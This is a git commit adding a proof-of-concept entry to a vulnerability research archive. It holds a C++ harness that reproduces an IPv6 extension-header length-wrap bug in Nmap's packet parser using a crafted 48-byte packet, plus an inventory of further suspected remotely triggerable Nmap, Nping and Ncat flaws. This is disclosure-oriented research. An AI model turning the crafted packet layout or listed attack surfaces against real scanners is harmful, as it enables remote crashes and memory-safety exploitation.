Add Nmap IPv6 extension length wrap PoC
This commit is contained in:
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
A consolidated archive of my public proof-of-concept and vulnerability research writeups.
|
A consolidated archive of my public proof-of-concept and vulnerability research writeups.
|
||||||
|
|
||||||
Each folder contains one of my former standalone PoC repos, preserved with its original README and tracked files. This repo is just a cleaner single-home layout for the same work.
|
Most folders contain one of my former standalone PoC repos, preserved with its original README and tracked files. New research entries may also be added directly here.
|
||||||
|
|
||||||
## Contents
|
## Contents
|
||||||
|
|
||||||
@@ -17,6 +17,7 @@ Each folder contains one of my former standalone PoC repos, preserved with its o
|
|||||||
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
|
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
|
||||||
| `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 |
|
| `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 |
|
||||||
| `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 |
|
| `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 |
|
||||||
|
| `nmap-ipv6-extlen-wrap-poc` | `new research entry` | 4 |
|
||||||
| `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 |
|
| `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 |
|
||||||
| `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 |
|
| `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 |
|
||||||
| `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 |
|
| `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 |
|
||||||
|
|||||||
115
nmap-ipv6-extlen-wrap-poc/README.md
Normal file
115
nmap-ipv6-extlen-wrap-poc/README.md
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
# Nmap IPv6 extension length wrap PoC
|
||||||
|
|
||||||
|
Compact proof of concept for an IPv6 extension-header parser length-wrap condition in Nmap's shared packet parsing code.
|
||||||
|
|
||||||
|
Research status: ongoing.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The PoC models the IPv6 parser path in `libnetutil/netutil.cc` and the packet-length adjustment behavior in `tcpip.cc`.
|
||||||
|
|
||||||
|
A crafted IPv6 packet can declare an extension header that is only partially present in the captured packet. The parser checks that two extension-header bytes are available, uses the second byte as the extension-header length, advances the payload pointer by that declared length, and then stores the remaining payload length in an unsigned integer.
|
||||||
|
|
||||||
|
With the packet shape in this PoC:
|
||||||
|
|
||||||
|
```text
|
||||||
|
captured packet length: 48
|
||||||
|
IPv6 payload length: 8
|
||||||
|
IPv6 next header: Hop-by-Hop Options
|
||||||
|
extension next header: UDP
|
||||||
|
extension header length field: 1
|
||||||
|
```
|
||||||
|
|
||||||
|
The parser advances the payload pointer to offset 56, which is beyond the 48-byte capture, then computes the payload length as an unsigned wraparound value.
|
||||||
|
|
||||||
|
Observed local harness result:
|
||||||
|
|
||||||
|
```text
|
||||||
|
helper_returned=true
|
||||||
|
next_header=17
|
||||||
|
payload_offset=56
|
||||||
|
wrapped_payload_len=4294967288
|
||||||
|
validator_len_after_adjust=64
|
||||||
|
captured_len=48
|
||||||
|
```
|
||||||
|
|
||||||
|
That demonstrates a malformed 48-byte IPv6 packet being represented as a UDP payload beyond the packet with a very large payload length. The validation adjustment can also raise the reported captured length to 64.
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `poc/ipv6_extlen_wrap_probe.cpp` - standalone C++17 parser-behavior PoC with no source comments
|
||||||
|
- `evidence/2026-06-23-local-harness-output.txt` - local harness output
|
||||||
|
- `docs/research-inventory.md` - additional Nmap vulnerability research inventory from the same push
|
||||||
|
|
||||||
|
## Affected source path
|
||||||
|
|
||||||
|
The core parser behavior is in:
|
||||||
|
|
||||||
|
```text
|
||||||
|
libnetutil/netutil.cc:688-712
|
||||||
|
```
|
||||||
|
|
||||||
|
The validation adjustment path is in:
|
||||||
|
|
||||||
|
```text
|
||||||
|
tcpip.cc:1312-1323
|
||||||
|
```
|
||||||
|
|
||||||
|
Relevant downstream consumers include:
|
||||||
|
|
||||||
|
```text
|
||||||
|
scan_engine_raw.cc:1690-1812
|
||||||
|
scan_engine_raw.cc:1941-2008
|
||||||
|
scan_engine_raw.cc:2087-2129
|
||||||
|
```
|
||||||
|
|
||||||
|
## Build and run
|
||||||
|
|
||||||
|
Linux, macOS, WSL, or MinGW:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
g++ -std=c++17 -O0 -g -Wall -Wextra -o ipv6_extlen_wrap_probe poc/ipv6_extlen_wrap_probe.cpp
|
||||||
|
./ipv6_extlen_wrap_probe
|
||||||
|
```
|
||||||
|
|
||||||
|
Windows PowerShell with MinGW:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
g++ -std=c++17 -O0 -g -Wall -Wextra -o ipv6_extlen_wrap_probe.exe .\poc\ipv6_extlen_wrap_probe.cpp
|
||||||
|
.\ipv6_extlen_wrap_probe.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected output:
|
||||||
|
|
||||||
|
```text
|
||||||
|
helper_returned=true
|
||||||
|
next_header=17
|
||||||
|
payload_offset=56
|
||||||
|
wrapped_payload_len=4294967288
|
||||||
|
validator_len_after_adjust=64
|
||||||
|
captured_len=48
|
||||||
|
```
|
||||||
|
|
||||||
|
## Mechanics
|
||||||
|
|
||||||
|
The helper path advances through IPv6 extension headers with this shape:
|
||||||
|
|
||||||
|
```text
|
||||||
|
p += (extension_length + 1) * 8
|
||||||
|
```
|
||||||
|
|
||||||
|
The missing invariant is a post-advance containment check before the remaining length is computed. If the declared extension length moves `p` beyond the packet end, the remaining length calculation wraps when stored in `unsigned int`.
|
||||||
|
|
||||||
|
After that, raw scan and packet validation consumers can treat the packet as if it still has a valid upper-layer payload.
|
||||||
|
|
||||||
|
## Research notes
|
||||||
|
|
||||||
|
This entry is focused on the IPv6 extension-header length wrap because it is the strongest fresh parser candidate from the latest Nmap review pass.
|
||||||
|
|
||||||
|
Other reviewed surfaces from the same research push are captured in `docs/research-inventory.md`, including raw scan short transport-header reads, Nping EchoClient NEP partial-packet handling, Ncat HTTP parser issues, and NSE negative-length behavior.
|
||||||
|
|
||||||
|
Exploitability research is ongoing around whether this parser primitive can be shaped into a stronger memory primitive beyond parser-state corruption, out-of-bounds reads, and fatal allocation behavior.
|
||||||
|
|
||||||
|
## Responsible use
|
||||||
|
|
||||||
|
Run the PoC only in a local research environment. The included PoC is a standalone arithmetic and parser-behavior harness for studying the parser transition.
|
||||||
127
nmap-ipv6-extlen-wrap-poc/docs/research-inventory.md
Normal file
127
nmap-ipv6-extlen-wrap-poc/docs/research-inventory.md
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
# Nmap research inventory
|
||||||
|
|
||||||
|
Research status: ongoing.
|
||||||
|
|
||||||
|
This inventory captures the strongest candidates from the local Nmap review pass that produced the IPv6 extension-header length wrap PoC.
|
||||||
|
|
||||||
|
## IPv6 extension-header length wrap
|
||||||
|
|
||||||
|
Primary package candidate.
|
||||||
|
|
||||||
|
Affected path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
libnetutil/netutil.cc:688-712
|
||||||
|
tcpip.cc:1312-1323
|
||||||
|
scan_engine_raw.cc:1690-1812
|
||||||
|
scan_engine_raw.cc:1941-2008
|
||||||
|
scan_engine_raw.cc:2087-2129
|
||||||
|
```
|
||||||
|
|
||||||
|
Remote IPv6 packet input can move the parser payload pointer beyond the captured packet and wrap the remaining payload length to a large unsigned value. Local harness validation shows a 48-byte packet yielding payload offset 56 and payload length `4294967288`.
|
||||||
|
|
||||||
|
Current observed behavior class:
|
||||||
|
|
||||||
|
- parser-state corruption
|
||||||
|
- out-of-bounds read paths in raw scan consumers
|
||||||
|
- fatal allocation behavior when wrapped lengths reach early UDP response storage
|
||||||
|
|
||||||
|
## Raw scan short transport-header reads
|
||||||
|
|
||||||
|
Affected path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
scan_engine_raw.cc
|
||||||
|
```
|
||||||
|
|
||||||
|
Several raw scan paths copy transport headers from packet buffers after checks that allow shorter-than-copied protocol headers. The strongest cases are direct SCTP parsing, ICMP quoted-packet parsing, and encapsulated TCP/SCTP parsing. These paths are reachable from remote packet responses during raw scan modes.
|
||||||
|
|
||||||
|
Observed behavior class:
|
||||||
|
|
||||||
|
- remotely triggerable scanner crash
|
||||||
|
- out-of-bounds read from captured packet buffers
|
||||||
|
- scan-state misclassification opportunities during malformed response handling
|
||||||
|
|
||||||
|
## Nping EchoClient NEP partial-packet state
|
||||||
|
|
||||||
|
Affected path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
nping/EchoClient.cc:790-864
|
||||||
|
nping/EchoClient.cc:874-940
|
||||||
|
```
|
||||||
|
|
||||||
|
The EchoClient NEP receive path retains a partial packet buffer and later combines it with new bytes based on a decrypted packet length. Suspicious state transitions include inconsistent accounting between retained bytes and new bytes, plus copies based on packet lengths derived from the encrypted stream after the user has connected to an EchoServer.
|
||||||
|
|
||||||
|
Observed behavior class:
|
||||||
|
|
||||||
|
- hostile EchoServer-triggered EchoClient crash
|
||||||
|
- negative-size and oversized-copy behavior in partial-packet transitions
|
||||||
|
- ongoing exploitability research around partial-state shaping
|
||||||
|
|
||||||
|
## Ncat HTTP proxy parser issues
|
||||||
|
|
||||||
|
Affected path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ncat/http.c
|
||||||
|
ncat/ncat_proxy.c
|
||||||
|
```
|
||||||
|
|
||||||
|
The Ncat HTTP proxy surface contains parser behaviors around embedded NUL bytes and malformed status/request lines. Existing local research reproduced loop and out-of-bounds read style behavior under malformed HTTP proxy traffic.
|
||||||
|
|
||||||
|
Observed behavior class:
|
||||||
|
|
||||||
|
- unauthenticated proxy-side denial of service
|
||||||
|
- parser desynchronization around embedded NUL handling
|
||||||
|
- status-line out-of-bounds read behavior
|
||||||
|
|
||||||
|
## Nping EchoServer stale context read
|
||||||
|
|
||||||
|
Affected path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
nping/EchoServer.cc
|
||||||
|
```
|
||||||
|
|
||||||
|
EchoServer session handling has a stale-context read candidate during connection/session transition behavior. This is grouped with the Nping NEP findings because both involve Echo protocol state and attacker-controlled peer behavior.
|
||||||
|
|
||||||
|
Observed behavior class:
|
||||||
|
|
||||||
|
- server-side crash candidate
|
||||||
|
- stale session/context read during crafted peer interaction
|
||||||
|
|
||||||
|
## NSE negative-length receive behavior
|
||||||
|
|
||||||
|
Affected path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
nse_nsock.cc:778-788
|
||||||
|
liblua/lapi.c:526-534
|
||||||
|
liblua/lstring.c:222-230
|
||||||
|
```
|
||||||
|
|
||||||
|
Several NSE protocol libraries compute receive lengths from remote protocol length fields. Negative script-level lengths can cross into buffered receive and Lua string construction behavior. Lua's string allocator rejects oversized string lengths before copying in the tested path.
|
||||||
|
|
||||||
|
Observed behavior class:
|
||||||
|
|
||||||
|
- script-level protocol parser failure
|
||||||
|
- allocation error path through Lua string handling
|
||||||
|
- ongoing review target for script-specific length guards
|
||||||
|
|
||||||
|
## Execution-surface survey
|
||||||
|
|
||||||
|
Reviewed code execution and code-loading surfaces include:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ncat/ncat_exec_win.c
|
||||||
|
ncat/ncat_posix.c
|
||||||
|
ncat/ncat_lua.c
|
||||||
|
nselib/data/psexec/nmap_service.c
|
||||||
|
scripts/*-exec.nse
|
||||||
|
scripts/smb-psexec.nse
|
||||||
|
scripts/membase-http-info.nse
|
||||||
|
libpcap/pcap.c
|
||||||
|
```
|
||||||
|
|
||||||
|
The survey is kept in scope because the broader research goal includes execution-path discovery. The practical candidates currently remain concentrated in packet parsing and protocol state handling.
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
helper_returned=true
|
||||||
|
next_header=17
|
||||||
|
payload_offset=56
|
||||||
|
wrapped_payload_len=4294967288
|
||||||
|
validator_len_after_adjust=64
|
||||||
|
captured_len=48
|
||||||
87
nmap-ipv6-extlen-wrap-poc/poc/ipv6_extlen_wrap_probe.cpp
Normal file
87
nmap-ipv6-extlen-wrap-poc/poc/ipv6_extlen_wrap_probe.cpp
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
#include <cstdint>
|
||||||
|
#include <cstdio>
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
using u8 = uint8_t;
|
||||||
|
|
||||||
|
static bool is_extension(u8 type) {
|
||||||
|
switch (type) {
|
||||||
|
case 0:
|
||||||
|
case 43:
|
||||||
|
case 44:
|
||||||
|
case 60:
|
||||||
|
return true;
|
||||||
|
default:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool is_upper(u8 type) {
|
||||||
|
switch (type) {
|
||||||
|
case 6:
|
||||||
|
case 17:
|
||||||
|
case 58:
|
||||||
|
case 132:
|
||||||
|
return true;
|
||||||
|
default:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static const u8 *parse_ipv6_payload(const u8 *packet, unsigned int *len, u8 *nxt, bool upper_only) {
|
||||||
|
const u8 *p;
|
||||||
|
const u8 *end;
|
||||||
|
|
||||||
|
if (*len < 40)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
p = packet;
|
||||||
|
end = p + *len;
|
||||||
|
*nxt = packet[6];
|
||||||
|
p += 40;
|
||||||
|
|
||||||
|
while (p < end && is_extension(*nxt)) {
|
||||||
|
if (p + 2 > end)
|
||||||
|
return nullptr;
|
||||||
|
*nxt = *p;
|
||||||
|
p += (*(p + 1) + 1) * 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
*len = end - p;
|
||||||
|
|
||||||
|
if (upper_only && !is_upper(*nxt))
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
u8 packet[48];
|
||||||
|
std::memset(packet, 0, sizeof(packet));
|
||||||
|
|
||||||
|
packet[0] = 0x60;
|
||||||
|
packet[4] = 0x00;
|
||||||
|
packet[5] = 0x08;
|
||||||
|
packet[6] = 0;
|
||||||
|
packet[40] = 17;
|
||||||
|
packet[41] = 1;
|
||||||
|
|
||||||
|
unsigned int captured_len = sizeof(packet);
|
||||||
|
unsigned int payload_len = captured_len;
|
||||||
|
u8 next_header = 0;
|
||||||
|
const u8 *payload = parse_ipv6_payload(packet, &payload_len, &next_header, true);
|
||||||
|
|
||||||
|
std::printf("helper_returned=%s\n", payload ? "true" : "false");
|
||||||
|
std::printf("next_header=%u\n", static_cast<unsigned>(next_header));
|
||||||
|
std::printf("payload_offset=%td\n", payload ? payload - packet : -1);
|
||||||
|
std::printf("wrapped_payload_len=%u\n", payload_len);
|
||||||
|
|
||||||
|
unsigned int validator_len = captured_len;
|
||||||
|
unsigned int ip_payload_len = (static_cast<unsigned>(packet[4]) << 8) | packet[5];
|
||||||
|
if (payload_len > ip_payload_len)
|
||||||
|
validator_len -= payload_len - ip_payload_len;
|
||||||
|
|
||||||
|
std::printf("validator_len_after_adjust=%u\n", validator_len);
|
||||||
|
std::printf("captured_len=%u\n", captured_len);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user